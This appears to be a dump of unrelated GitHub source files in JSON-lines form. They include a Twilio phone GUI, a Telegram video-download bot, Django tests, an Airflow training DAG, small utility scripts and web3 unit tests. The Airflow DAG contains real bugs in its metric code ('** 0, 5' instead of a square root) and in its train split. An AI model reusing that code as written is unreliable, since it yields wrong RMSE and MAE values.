tk.Button(frameA, text=\"Submit\", command=button_Submit)\r\n Button_sendText.grid(row = 1, column = 1)\r\n Button_cancel = tk.Button(frameA, text=\"Cancel\", command=windowDirectory.destroy)\r\n Button_cancel.grid(row = 1, column = 3)\r\n\r\ndef button_ad():\r\n logging.debug(\"pressed add/delete\")\r\n def button_Add():\r\n logging.debug(\"pressed Add button in add/delete window\")\r\n name=nameEntry.get()\r\n number=numberEntry.get()\r\n if len(name)==0:\r\n tk.messagebox.showerror(\"Invalid name\", \"You must enter a name\")\r\n return\r\n if checkNumber(number):\r\n cur.execute('INSERT INTO PhoneNumbers VALUES (?,?)', (name, number))\r\n con.commit()\r\n logging.info(\"added \" + name + \"to the directory\")\r\n tk.messagebox.showinfo(\"Added\", \"Added \" + name + \" to contacts\")\r\n windowAD.destroy()\r\n \r\n \r\n \r\n def button_Delete():\r\n logging.debug(\"pressed Delete button in add/delete window\")\r\n name = dirCombBox.get();\r\n tk.messagebox.showinfo(\"Deleted\", \"Deleted \" + name + \" from contacts\")\r\n cur.execute('DELETE FROM PhoneNumbers WHERE name=?', (name,))\r\n con.commit()\r\n logging.info(\"deleted \" + name + \"from the directory\")\r\n tk.messagebox.showinfo(\"Deleted\", \"Deleted \" + name + \" from contacts\")\r\n windowAD.destroy()\r\n logging.debug(\"pressed directoy button\")\r\n windowAD = tk.Toplevel(root)\r\n windowAD.geometry(\"250x300\")\r\n windowAD.title(\"Add/Delete\")\r\n instructionLabel = tk.Label(windowAD, text=\"select entry to delete\")\r\n instructionLabel.pack()\r\n \r\n df = pd.read_sql_query(\"SELECT name, number FROM PhoneNumbers ORDER BY name\", con)\r\n logging.debug(df)\r\n dirCombBox = ttk.Combobox(windowAD, values=df['name'].tolist())\r\n dirCombBox.pack()\r\n \r\n \r\n frameA = tk.Frame(windowAD)\r\n frameA.pack()\r\n Button_Delete = tk.Button(frameA, text=\"Delete\", command=button_Delete)\r\n Button_Delete.grid(row = 1, column = 1)\r\n Button_cancel = tk.Button(frameA, text=\"Cancel\", command=windowAD.destroy)\r\n Button_cancel.grid(row = 1, column = 3)\r\n frameB = tk.Frame(windowAD)\r\n frameB.pack(side=\"bottom\")\r\n instructionLabel1 = tk.Label(frameB, text=\"Enter name and number to add\")\r\n instructionLabel1.pack()\r\n nameLabel = tk.Label(frameB, text=\"Name\")\r\n nameLabel.pack()\r\n nameEntry= tk.Entry(frameB, width = 30)\r\n nameEntry.pack()\r\n numberLabel = tk.Label(frameB, text=\"Number\")\r\n numberLabel.pack()\r\n numberEntry= tk.Entry(frameB, width = 30)\r\n numberEntry.pack()\r\n frameC = tk.Frame(frameB)\r\n frameC.pack(side=\"bottom\")\r\n Button_Add = tk.Button(frameC, text=\"Add\", command=button_Add)\r\n Button_Add.grid(row = 1, column = 1)\r\n Button_cancel1 = tk.Button(frameC, text=\"Cancel\", command=windowAD.destroy)\r\n Button_cancel1.grid(row = 1, column = 3)\r\n \r\n \r\n\r\n\r\ndef button_send():\r\n def button_sendText():\r\n logging.debug(\"pressed Send Text in send popup window\")\r\n phoneNum = display_number1.get()\r\n if (checkNumber(phoneNum)):\r\n logging.debug(\"sending text to \" + phoneNum )\r\n message = client.messages \\\r\n .create(\r\n body=display_MSG.get(\"1.0\",\"end\"),\r\n to=phoneNum,\r\n from_='+19082244077'\r\n )\r\n logging.info(\"sent the following text to \" + phoneNum)\r\n logging.info(display_MSG.get(\"1.0\",\"end\"))\r\n \r\n def button_sendVoice():\r\n logging.debug(\"pressed Send Voice in send popup window\")\r\n phoneNum = display_number1.get()\r\n if (checkNumber(phoneNum)):\r\n logging.debug(\"sending voice message to \" + phoneNum )\r\n call = client.calls.create(\r\n twiml='' + display_MSG.get(\"1.0\",\"end\") + '',\r\n to=phoneNum,\r\n from_='+19082244077'\r\n )\r\n logging.info(\"sent the following text to \" + phoneNum)\r\n logging.info(display_MSG.get(\"1.0\",\"end\"))\r\n\r\n \r\n logging.debug(\"pressed send message\")\r\n logging.debug(display_number.get())\r\n \r\n windowSendMsg = tk.Toplevel(root)\r\n windowSendMsg.geometry(\"250x250\")\r\n windowSendMsg.title(\"Send\")\r\n display_number1 = tk.Entry(windowSendMsg, width = 30)\r\n display_number1.insert(\"end\", display_number.get())\r\n display_number1.pack()\r\n \r\n scrollbar = tk.Scrollbar(windowSendMsg)\r\n display_MSG = tk.Text(windowSendMsg, width = 30, height = 10, yscrollcommand=scrollbar.set, wrap='word')\r\n scrollbar.config(command=display_MSG.yview)\r\n scrollbar.pack(side=\"right\")\r\n display_MSG.pack(side=\"top\")\r\n frameA = tk.Frame(windowSendMsg)\r\n frameA.pack()\r\n Button_sendText = tk.Button(frameA, text=\"Send Text\", command=button_sendText)\r\n Button_sendText.grid(row = 1, column = 1)\r\n Button_cancel = tk.Button(frameA, text=\"Cancel\", command=windowSendMsg.destroy)\r\n Button_cancel.grid(row = 1, column = 2)\r\n Button_sendVoice = tk.Button(frameA, text=\"Send Voice\", command=button_sendVoice)\r\n Button_sendVoice.grid(row = 1, column = 3)\r\n\r\n\r\n \r\n \r\nroot = tk.Tk()\r\nroot.title(\"Phone\")\r\nroot.geometry(\"250x300\")\r\n \r\nframe1 = tk.Frame(root)\r\nframe1.pack()\r\ndisplay_number = tk.Entry(frame1, width = 30)\r\ndisplay_number.pack()\r\n\r\nframe2 = tk.Frame(root)\r\nframe2.pack()\r\nbutton1 = tk.Button(frame2, text = \"1\", height = 3, width = 6, command = button1)\r\nbutton1.grid(row = 1, column = 1)\r\nbutton2 = tk.Button(frame2, text = \"2\", height = 3, width = 6, command = button2)\r\nbutton2.grid(row = 1, column = 2)\r\nbutton3 = tk.Button(frame2, text = \"3\", height = 3, width = 6, command = button3)\r\nbutton3.grid(row = 1, column = 3)\r\nbutton4 = tk.Button(frame2, text = \"4\", height = 3, width = 6, command = button4)\r\nbutton4.grid(row = 2, column = 1)\r\nbutton5 = tk.Button(frame2, text = \"5\", height = 3, width = 6, command = button5)\r\nbutton5.grid(row = 2, column = 2)\r\nbutton6 = tk.Button(frame2, text = \"6\", height = 3, width = 6, command = button6)\r\nbutton6.grid(row = 2, column = 3)\r\nbutton7 =tk. Button(frame2, text = \"7\", height = 3, width = 6, command = button7)\r\nbutton7.grid(row = 3, column = 1)\r\nbutton8 = tk.Button(frame2, text = \"8\", height = 3, width = 6, command = button8)\r\nbutton8.grid(row = 3, column = 2)\r\nbutton9 = tk.Button(frame2, text = \"9\", height = 3, width = 6, command = button9)\r\nbutton9.grid(row = 3, column = 3)\r\nbutton0 = tk.Button(frame2, text = \"0\", height = 3, width = 6 , command = button0)\r\nbutton0.grid(row = 4, column = 2)\r\n\r\nframe3 = tk.Frame(root)\r\nframe3.pack()\r\nbuttonDir = tk.Button(frame3, text = \"Contacts\", height = 3, width = 10, command = button_dir)\r\nbuttonDir.pack(side=\"left\")\r\nbuttonConnect = tk.Button(frame3, text = \"Add\\nDelete\", height = 3, width = 10, command = button_ad)\r\nbuttonConnect.pack(side=\"left\")\r\nbuttonSend = tk.Button(frame3, text = \"Send\\nMessage\", height = 3, width = 10, command = button_send)\r\nbuttonSend.pack(side=\"right\")\r\n\r\nroot.mainloop()","repo_name":"Hunter1235/Project-2","sub_path":"messsage.py","file_name":"messsage.py","file_ext":"py","file_size_in_byte":10770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"32511246150","text":"#!/usr/bin/env python3\nfrom pprint import pformat\n\nfrom telegram.ext import MessageHandler\n\nfrom mylib.cli import new_argument_parser\nfrom mylib.easy.logging import ez_get_logger\nfrom mylib.easy.text import decode_fallback_locale\nfrom mylib.ext.fstk import read_json_file, write_json_file\nfrom mylib.ext.tricks import monitor_sub_process_tty_frozen, ProcessTTYFrozen\nfrom mylib.tg_bot import *\n\nmt = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(os.path.getmtime(os.path.realpath(__file__))))\n\n\n@deco_factory_retry(exceptions=ProcessTTYFrozen, max_retries=-1)\ndef bldl_retry_frozen(*args: str):\n p = subprocess.Popen(['bldl.sh.cmd', *args], stdout=subprocess.PIPE)\n return monitor_sub_process_tty_frozen(p, encoding='u8', timeout=60)\n\n\n@deco_factory_retry(exceptions=ProcessTTYFrozen, max_retries=-1)\ndef ytdl_retry_frozen(*args: str):\n p = subprocess.Popen(['ytdl.sh.cmd', *args], stdout=subprocess.PIPE)\n return monitor_sub_process_tty_frozen(p, encoding='u8', timeout=60)\n\n\n@deco_factory_retry(exceptions=ProcessTTYFrozen, max_retries=-1)\ndef yt_dlp_retry_frozen(*args: str):\n p = subprocess.Popen(['yt-dlp.sh.cmd', *args], stdout=subprocess.PIPE)\n return monitor_sub_process_tty_frozen(p, encoding='u8', timeout=60)\n\n\n@deco_factory_retry(exceptions=ProcessTTYFrozen, max_retries=-1)\ndef phgif_retry_frozen(*args: str):\n p = subprocess.Popen(['you-get.pornhub.gif.py', *args], stdout=subprocess.PIPE)\n return monitor_sub_process_tty_frozen(p, encoding='u8', timeout=60)\n\n\ndef line2args(line: str) -> T.List[str]:\n args = shlex.split(line.strip())\n if args[0] in '+-*!':\n args.pop(0)\n return args\n\n\nytdl_regex_pattern = re.compile(r'youtube|youtu\\.be|iwara|pornhub.com/view_video|\\[ph[\\da-f]{13}]|kissjav|xvideos|spankbang|redgifs|xhamster')\nbldl_regex_pattern = re.compile(r'(/|^)BV[\\da-zA-Z]{10}|(/|^)av\\d+|(/|^)ep\\d+|(/|^)ss\\d+|^https://b23.tv/.+')\nphgif_regex_pattern = re.compile(r'pornhub.com/gif')\n\n\nclass MyAssistantBot(EasyBot):\n def __init__(self, config_file: str, **kwargs):\n self._config_file = config_file\n config = read_json_file(config_file)\n persistence_file = os.path.splitext(config_file)[0] + '.dat'\n super().__init__(token=config['token'], whitelist=config.get('user_whitelist'),\n dat_fp=persistence_file, **kwargs)\n\n def __get_config__(self):\n return read_json_file(self._config_file)\n\n def __set_config__(self, **kwargs):\n conf = self.__get_config__()\n conf.update(kwargs)\n write_json_file(self._config_file, conf, indent=4)\n\n def __str_contain_abandon_errors__(self, s):\n abandon_errors = self.__get_config__().get('abandon_errors') or []\n return any(map(lambda x: x in s, abandon_errors))\n\n @deco_factory_bot_handler_method(CommandHandler, on_menu=True, command='freevmessuuid')\n def free_ss_site_vmess_uuid(self, update: Update, *args):\n import mylib.sites.misc\n self.__send_typing__(update)\n for uuid in mylib.sites.misc.free_ss_site_vmess_uuid():\n self.__send_text__(update, uuid)\n\n @deco_factory_bot_handler_method(MessageHandler, filters=Filters.regex(ytdl_regex_pattern))\n def _ytdl(self, update: Update, *args):\n with self.__ctx_save__():\n if not self.__check_update__(update):\n echo = f'# {update.message.text}'\n print(echo)\n self.__send_code_block__(update, echo)\n return\n chat_id = update.message.chat_id\n msg_lines = update.message.text.splitlines()\n args_ll = [line2args(line) for line in msg_lines]\n line0 = msg_lines[0].strip()\n if line0 in (f'@{h}p' for h in (360, 480, 720, 1080)):\n new_args_ll = []\n for args_l in args_ll[1:]:\n if 'pornhub.com' in args_l[0]:\n new_args_ll.append(\n args_l + ['-f', f'[format_id!*=hls][height<=?{line0[1:-1]}]/[height<=?{line0[1:-1]}]'])\n else:\n new_args_ll.append(args_l + ['-f', f'[height<=?{line0[1:-1]}]'])\n args_ll = new_args_ll\n tasks = [EasyBotTaskData(target=self._ytdl_internal.__name__, args=args_l, chat_to=chat_id)\n for args_l in args_ll]\n self.__save_tasks__(tasks, chat_id)\n\n def _ytdl_internal(self, call_data: EasyBotTaskData):\n args = call_data.args\n chat_to = call_data.chat_to\n args = [re.sub(r'\\[(ph[\\da-f]{13})]', r'https://www.pornhub.com/view_video.php?viewkey=\\1', a) for a in args]\n args_s = ' '.join([shlex.quote(a) for a in args])\n retry_frozen = ytdl_retry_frozen\n if any(map(lambda s: s in args[0], ('youtu.be', 'youtube.com', 'redgifs.com', 'xvideos.com', 'pornhub.com'))):\n retry_frozen = yt_dlp_retry_frozen\n try:\n p, out, err = retry_frozen(*args)\n echo = ''.join(\n [re.sub(r'.*\\[download\\]', '[download]', decode_fallback_locale(b).rsplit('\\r', maxsplit=1)[-1]) for\n b in\n out.readlines()[-10:]])\n if p.returncode:\n if self.__str_contain_abandon_errors__(echo):\n self.__send_code_block__(chat_to, f'- {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=True)\n self.__send_code_block__(chat_to, f'! {args_s}\\n{p.returncode}\\n{echo}')\n return EasyBotTaskResult(ok=False)\n else:\n self.__send_code_block__(chat_to, f'* {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=True)\n except Exception as e:\n print('ERROR')\n self.__send_code_block__(chat_to, f'! {args_s}\\n{str(e)}\\n{repr(e)}')\n self.__send_traceback__(chat_to)\n return EasyBotTaskResult(ok=False)\n\n @deco_factory_bot_handler_method(MessageHandler, filters=Filters.regex(bldl_regex_pattern))\n def _bldl(self, update, *args):\n with self.__ctx_save__():\n chat_id = update.message.chat_id\n args_ll = [line2args(line) for line in update.message.text.splitlines()]\n tasks = [EasyBotTaskData(target=self._bldl_internal.__name__, args=args_l, chat_to=chat_id)\n for args_l in args_ll]\n self.__save_tasks__(tasks, chat_id)\n\n def _bldl_internal(self, call_data: EasyBotTaskData):\n args = call_data.args\n chat_id = call_data.chat_to\n args_s = ' '.join([shlex.quote(a) for a in args])\n try:\n p, out, err = bldl_retry_frozen(*args)\n if p.returncode:\n echo = ''.join(\n [decode_fallback_locale(b).rsplit('\\r', maxsplit=1)[-1] for b in out.readlines()[-5:]])\n if self.__str_contain_abandon_errors__(echo):\n print(f' EXIT CODE: {p.returncode}')\n self.__send_code_block__(chat_id, f'- {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=True)\n print(f' EXIT CODE: {p.returncode}')\n self.__send_code_block__(chat_id, f'! {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=False)\n else:\n echo = ''.join([s for s in [decode_fallback_locale(b) for b in out.readlines()] if '─┤' not in s])\n self.__send_code_block__(chat_id, f'* {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=True)\n except Exception as e:\n self.__send_code_block__(chat_id, f'! {args_s}\\n{str(e)}\\n{repr(e)}')\n return EasyBotTaskResult(ok=False)\n\n @deco_factory_bot_handler_method(MessageHandler, filters=Filters.regex(phgif_regex_pattern))\n def _phgif(self, update, *args):\n with self.__ctx_save__():\n chat_id = update.message.chat_id\n args_ll = [line2args(line) for line in update.message.text.splitlines()]\n tasks = [EasyBotTaskData(target=self._phgif_internal.__name__, args=args_l, chat_to=chat_id)\n for args_l in args_ll]\n self.__save_tasks__(tasks, chat_id)\n\n def _phgif_internal(self, call_data: EasyBotTaskData):\n args = call_data.args\n chat_id = call_data.chat_to\n args_s = ' '.join([shlex.quote(a) for a in args])\n try:\n p, out, err = phgif_retry_frozen(*args)\n if p.returncode:\n echo = ''.join(\n [decode_fallback_locale(b).rsplit('\\r', maxsplit=1)[-1] for b in out.readlines()[-5:]])\n if self.__str_contain_abandon_errors__(echo):\n print(f' EXIT CODE: {p.returncode}')\n self.__send_code_block__(chat_id, f'- {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=True)\n print(f' EXIT CODE: {p.returncode}')\n self.__send_code_block__(chat_id, f'! {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=False)\n else:\n echo = ''.join([s for s in [decode_fallback_locale(b) for b in out.readlines()] if '─┤' not in s])\n self.__send_code_block__(chat_id, f'* {args_s}\\n{echo}')\n return EasyBotTaskResult(ok=True)\n except Exception as e:\n self.__send_code_block__(chat_id, f'! {args_s}\\n{str(e)}\\n{repr(e)}')\n return EasyBotTaskResult(ok=False)\n\n @deco_factory_bot_handler_method(CommandHandler)\n def _secret(self, update: Update, *args):\n self.__send_typing__(update)\n for name in ('effective_message', 'effective_user'):\n self.__send_code_block__(update, f'{name}\\n{pformat(getattr(update, name).to_dict())}')\n self.__send_code_block__(update, f'bot.get_me()\\n{pformat(self.__bot__.get_me().to_dict())}')\n\n @deco_factory_bot_handler_method(CommandHandler, on_menu=True, pass_args=True)\n def sleep(self, u: Update, c: CallbackContext):\n \"\"\"sleep some time (unit: sec)\"\"\"\n args = c.args or [0]\n t = float(args[0])\n self.__send_text__(u, f'sleep {t} seconds')\n time.sleep(t)\n self.__send_text__(u, 'awake...')\n\n @deco_factory_bot_handler_method(CommandHandler, on_menu=True, pass_args=True)\n def errors(self, u: Update, c: CallbackContext):\n \"\"\"manage subprocess errors\"\"\"\n args = c.args\n if not args:\n usage_s = '/errors {+,-,:} [T]'\n self.__send_code_block__(u, usage_s)\n return\n arg0, arg1 = args[0], ' '.join(args[1:])\n errors = self.__get_config__().get('abandon_errors', [])\n if arg0 == ':':\n self.__send_code_block__(u, pformat(errors))\n elif arg0 == '+':\n errors = sorted(set(errors) | {arg1})\n self.__set_config__(abandon_errors=errors)\n self.__send_code_block__(u, pformat(errors))\n elif arg0 == '-':\n errors = sorted(set(errors) - {arg1})\n self.__set_config__(abandon_errors=errors)\n self.__send_code_block__(u, pformat(errors))\n else:\n self.__send_code_block__(u, pformat(errors))\n\n def __check_update__(self, u: Update, c: CallbackContext = None):\n anti_updates = set(self.__get_config__().get('anti_updates', []))\n for x in anti_updates:\n if x in u.message.text:\n anti_updates.remove(x)\n self.__set_config__(anti_updates=list(anti_updates))\n return False\n else:\n return True\n\n\ndef main():\n ap = new_argument_parser()\n ap.add_argument('-c', '--config-file', metavar='path', required=True)\n ap.add_argument('-v', '--verbose', action='store_true')\n ap.add_argument('-T', '--timeout', type=float)\n parsed_args = ap.parse_args()\n config_file = parsed_args.config_file\n timeout = parsed_args.timeout\n\n if parsed_args.verbose:\n log_lvl = 'DEBUG'\n print(parsed_args)\n else:\n log_lvl = 'INFO'\n ez_get_logger('telegram').setLevel(log_lvl)\n bot = MyAssistantBot(config_file, timeout=timeout, auto_run=False, debug_mode=parsed_args.verbose)\n bot.__run__()\n\n\nif __name__ == '__main__':\n # ensure_sigint_signal()\n main()\n","repo_name":"mo-han/mo-han-toolbox","sub_path":"mykits/my_tg_bot.py","file_name":"my_tg_bot.py","file_ext":"py","file_size_in_byte":12208,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"20"} +{"seq_id":"41571494412","text":"import shutil\nimport tempfile\n\nfrom ..models import Post, Group\nfrom django.conf import settings\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.test import Client, TestCase, override_settings\nfrom django.urls import reverse\nfrom django.contrib.auth import get_user_model\n\n\nTEMP_MEDIA_ROOT = tempfile.mkdtemp(dir=settings.BASE_DIR)\n\nUser = get_user_model()\n\n\n@override_settings(MEDIA_ROOT=TEMP_MEDIA_ROOT)\nclass ContextContainsPicTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.group = Group.objects.create(\n title='Тестовое название группы',\n slug='test-slug',\n description='Тестовый текст',\n )\n cls.test_user = User.objects.create_user(\n username='test1',\n email='test@test.ru',\n password='testpwd',\n )\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n shutil.rmtree(TEMP_MEDIA_ROOT, ignore_errors=True)\n\n def setUp(self):\n self.user = self.test_user\n self.authorized_client = Client()\n self.authorized_client.force_login(self.user)\n\n def test_post_with_pic_create(self):\n '''\n Проверят создание поста с картинкой\n и отображение картинки на страницах\n '''\n post_count = Post.objects.count()\n small_gif = (\n b'\\x47\\x49\\x46\\x38\\x39\\x61\\x02\\x00'\n b'\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00'\n b'\\xFF\\xFF\\xFF\\x21\\xF9\\x04\\x00\\x00'\n b'\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00'\n b'\\x02\\x00\\x01\\x00\\x00\\x02\\x02\\x0C'\n b'\\x0A\\x00\\x3B'\n )\n uploaded = SimpleUploadedFile(\n name='small.gif', content=small_gif, content_type='image/gif'\n )\n form_data = {\n 'text': 'Тестовый заголовок',\n 'group': self.group.pk,\n 'image': uploaded,\n }\n self.authorized_client.post(\n reverse('posts:post_create'), data=form_data, follow=True\n )\n self.assertEqual(Post.objects.count(), post_count + 1)\n self.assertTrue(\n Post.objects.filter(\n text=form_data['text'],\n group=form_data['group'],\n author=self.test_user,\n image='posts/small.gif',\n ).exists()\n )\n new_post = Post.objects.all()[0]\n adress_list = [\n reverse('posts:index'),\n reverse('posts:group_posts', kwargs={'slug': new_post.group.slug}),\n reverse(\n 'posts:profile', kwargs={'username': new_post.author.username}\n ),\n reverse('posts:post_detail', kwargs={'post_id': new_post.id}),\n ]\n for adress in adress_list:\n response = self.authorized_client.get(adress)\n self.assertContains(response, ' None:\n logger.info(\" Pipline started \")\n\n\ndef get_housing_data() -> None:\n \"\"\"Get housing data from bd\"\"\"\n conn = get_postgres_conn(postgres_conn_name)\n data = pd.read_sql_query(\"SELECT * FROM california_housing\", conn)\n\n resource = get_s3_resource(s3_connection)\n pickl_dump_obj = pickle.dumps(data)\n\n path = data_path + \"california_housing.pk1\"\n\n resource.Object(bucket, path).put(Body=pickl_dump_obj)\n\n\ndef prepare_data() -> None:\n \"\"\"Prepare data to train\"\"\"\n path = data_path + \"california_housing.pk1\"\n s3 = get_s3_hook(s3_connection)\n file = s3.download_file(key=path, bucket_name=bucket)\n data = pd.read_pickle(file)\n\n x, y = data[FEATURES], data[TARGET]\n\n x_train, x_test, y_train, y_test = train_test_split(\n x, y, train_size=0.2, random_state=42\n )\n\n scaler = StandardScaler()\n\n x_train_fitted = scaler.fit_transform(x_train)\n\n x_test_fitted = scaler.transform(x_test)\n\n resource = get_s3_resource(s3_connection)\n\n for name, data in zip(\n [\"x_train\", \"x_test\", \"y_train\", \"y_test\"],\n [x_train_fitted, x_test_fitted, y_train, y_test],\n ):\n pickl_dump_obj = pickle.dumps(data)\n path = data_path + f\"{name}.pk1\"\n resource.Object(bucket, path).put(Body=pickl_dump_obj)\n\n logger.info(\"Data preparation finished\")\n\n\ndef train_model():\n data = {}\n s3 = get_s3_hook(s3_connection)\n\n for name in [\"x_train\", \"x_test\", \"y_train\", \"y_test\"]:\n path = data_path + f\"{name}.pk1\"\n\n file = s3.download_file(key=path, bucket_name=bucket)\n data[name] = pd.read_pickle(file)\n\n model = RandomForestRegressor()\n model.fit(data[\"x_train\"], data[\"y_train\"])\n prediction = model.predict(data[\"x_test\"])\n result = {\n \"r2_score\": r2_score(data[\"y_test\"], prediction),\n \"rmse\": (mean_squared_error(data[\"y_test\"], prediction) ** 0, 5),\n \"mae\": (median_absolute_error(data[\"y_test\"], prediction) ** 0, 5),\n }\n\n date = datetime.now().strftime(\"%Y_%m_%d_&H\")\n resource = get_s3_resource(s3_connection)\n json_obj = json.dumps(result)\n path = data_path + f\"{date}.json\"\n resource.Object(bucket, path).put(Body=json_obj)\n\n logger.info(\"Model train finished\")\n\n\ndef save_results():\n logger.info(\"Success\")\n\n\ntask_init = PythonOperator(\n task_id=\"Init\", provide_context=True, python_callable=init, dag=dag\n)\n\ntask_get_data = PythonOperator(\n task_id=\"get_housing_data\",\n provide_context=True,\n python_callable=get_housing_data,\n dag=dag,\n)\ntask_prepare_data = PythonOperator(\n task_id=\"prepare_data\", provide_context=True, python_callable=prepare_data, dag=dag\n)\n\ntask_train_model = PythonOperator(\n task_id=\"train_model\", provide_context=True, python_callable=train_model, dag=dag\n)\n\ntask_save_results = PythonOperator(\n task_id=\"log_result\", provide_context=True, python_callable=save_results, dag=dag\n)\n\ntask_init >> task_get_data >> task_prepare_data >> task_train_model >> task_save_results\n","repo_name":"Dmitry426/hse_mlops","sub_path":"dags/simple_dag_example.py","file_name":"simple_dag_example.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"23115786313","text":"#!/usr/local/bin/python3\n# -*- coding:utf-8 -*-\n\nfrom pathlib import Path\nfrom comfunc.funcxml import readxml\nimport cv2\nimport random\nfrom comfunc.print_color import bcolors\nimport os\nimport shutil\nfrom comfunc.check import check_dir\n#voc格式目录\n# yolo_dir = Path(\"/data01/xu.fx/dataset/comb_data/yolo_dataset_comb_173bs_294ks/\")\n# annotaion_dir = yolo_dir / \"Annotations\"\n# img_dir = yolo_dir / \"JPEGImages/train/images\"\n\n\n#voc格式目录,xml与图片在同一目录\nyolo_dir = Path(\"/data01/xu.fx/dataset/PATTERN_DATASET/comb_data/checked/\")\nannotaion_dir = yolo_dir\nimg_dir = yolo_dir\n\nfile_name = '*.xml'\n\nfix_str = [\".jpg\", '.JPG', '.png', '.PNG', '.jpeg', '.JPEG']\ndst_anno_files = [file for file in annotaion_dir.glob(file_name)]\nrandom.shuffle(dst_anno_files)\nprint(\"img num: \", len(dst_anno_files))\nfind = 0\nfor index_,anno_file in enumerate(dst_anno_files):\n\n boxes = readxml(str(anno_file))\n print(\"-\" * 60)\n print(\"sample_index: %d/%d\" % (index_, len(dst_anno_files)))\n for s in fix_str:\n img_name = \"checked_\"+anno_file.name.replace('.xml', s)\n img_path = img_dir / img_name\n if img_path.exists():\n #for index,obj_i in enumerate(boxes):\n #class_name = obj_i[0]\n #if class_name.split(\"-\")[0]==\"stan smith\":\n shutil.move(img_path,\"/data01/xu.fx/dataset/PATTERN_DATASET/comb_data/checked/\"+img_name.replace(\"checked_\",\"\"))\n #shutil.copy(anno_file, \"/data01/xu.fx/dataset/LOGO_DATASET/comb_data/tmp_rename/stansmith_\" + anno_file.name.split(\"_\")[-1])\n #print(class_name)\n find += 1\n # break\n # else:\n # pass\nprint(find)\n # if find==0:\n # shutil.copy(img_path, \"/data01/xu.fx/dataset/comb_data/tmp_rename/\" + img_name)\n # shutil.copy(anno_file, \"/data01/xu.fx/dataset/comb_data/tmp_rename/\" + anno_file.name)\n # print(class_name)\n\n\n\n\n\n\n\n\n","repo_name":"jiegeng321/comtools","sub_path":"yolotools/file_tmp_ops/tmp2.py","file_name":"tmp2.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72927090289","text":"import os.path as path\nimport utils\n\n\ndef load(config, options=None):\n label = None\n description = None\n io_names = None\n topology = None\n\n if options is None:\n options = {}\n\n if 'label' in config:\n label = config['label']\n\n if 'description' in config:\n description = config['description']\n\n if 'ioNamesJson' in config:\n filename = config['ioNamesJson']\n\n if not filename.startswith('/'):\n filename = path.join(options['base'], filename)\n\n io_names = utils.load_json(filename)\n\n if 'topologyPython' in config:\n filename = config['topologyPython']\n\n if not filename.startswith('/'):\n filename = path.join(options['base'], filename)\n\n topology = utils.load_python(filename)\n\n return Model(label=label, description=description, io_names=io_names, topology=topology)\n\n\nclass Model:\n def __init__(\n self,\n label=None,\n description=None,\n io_names=None,\n topology=None):\n\n self.label = label\n self.description = description\n self.io_names = io_names\n self.topology = topology\n\n def load_weights_hdf5(self, filename):\n self.topology.load_weights(filename)\n\n def save_weights_hdf5(self, filename):\n self.topology.save_weights(filename)\n","repo_name":"bergos/keras_gaia","sub_path":"keras_gaia/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"20"} +{"seq_id":"70798176051","text":"# pylint: disable=line-too-long\n\nimport unittest\n\nimport credmark.cmf.model\nfrom credmark.cmf.engine.model_unittest import ModelTestCase, model_context\nfrom credmark.cmf.types.address import Address\nfrom credmark.cmf.types.token_erc20 import Token\n\n\nclass TestModel(ModelTestCase):\n\n @model_context(chain_id=1, block_number=17_000_000)\n def test_try_aggregate(self):\n t = Token('USDC')\n\n batch = credmark.cmf.model.ModelContext.current_context().web3_batch\n [symbol_result, decimals_result] = batch.call([t.functions.symbol(), t.functions.decimals()])\n self.assertEqual(symbol_result.success, True)\n self.assertEqual(symbol_result.return_data_decoded, 'USDC')\n\n self.assertEqual(decimals_result.success, True)\n self.assertEqual(decimals_result.return_data_decoded, 6)\n\n [symbol_result2, decimals_result2] = batch.call([t.functions.symbol(), t.functions.decimals()], unwrap=True)\n\n self.assertEqual(symbol_result2, symbol_result.return_data_decoded)\n self.assertEqual(decimals_result2, decimals_result.return_data_decoded)\n\n @model_context(chain_id=1, block_number=17_000_000)\n def test_try_aggregate_same_function(self):\n address = \"0x8df175aba312ce90aa03f636573ca99c29fbb9d0\"\n t1 = Token('USDC')\n t2 = Token('WETH')\n\n batch = credmark.cmf.model.ModelContext.current_context().web3_batch\n results = batch.call_same_function(t1.functions.balanceOf(Address(address).checksum),\n [t1.address.checksum, t2.address.checksum])\n\n b1 = results[0]\n b2 = results[1]\n\n self.assertEqual(b1.success, True)\n self.assertEqual(b1.return_data_decoded, 879377)\n\n self.assertEqual(b2.success, True)\n self.assertEqual(b2.return_data_decoded, 0)\n\n results2 = batch.call_same_function(\n t1.functions.balanceOf(Address(address).checksum),\n [t1.address.checksum, t2.address.checksum],\n unwrap=True)\n\n self.assertEqual(results2[0], b1.return_data_decoded)\n self.assertEqual(results2[1], b2.return_data_decoded)\n\n @model_context(chain_id=1, block_number=17_000_000)\n def test_try_aggregate_same_function_failure(self):\n t1 = Token('USDC').as_erc20(True)\n t2 = Token('WETH').as_erc20(True)\n\n batch = credmark.cmf.model.ModelContext.current_context().web3_batch\n [b1, b2] = batch.call_same_function(t1.functions.DECIMALS(),\n [t1.address.checksum, t2.address.checksum])\n\n self.assertEqual(b1.success, False)\n self.assertEqual(b1.return_data_decoded, b\"\")\n\n self.assertEqual(b2.success, False)\n self.assertEqual(b2.return_data_decoded, b\"\")\n\n\nif __name__ == '__main__':\n 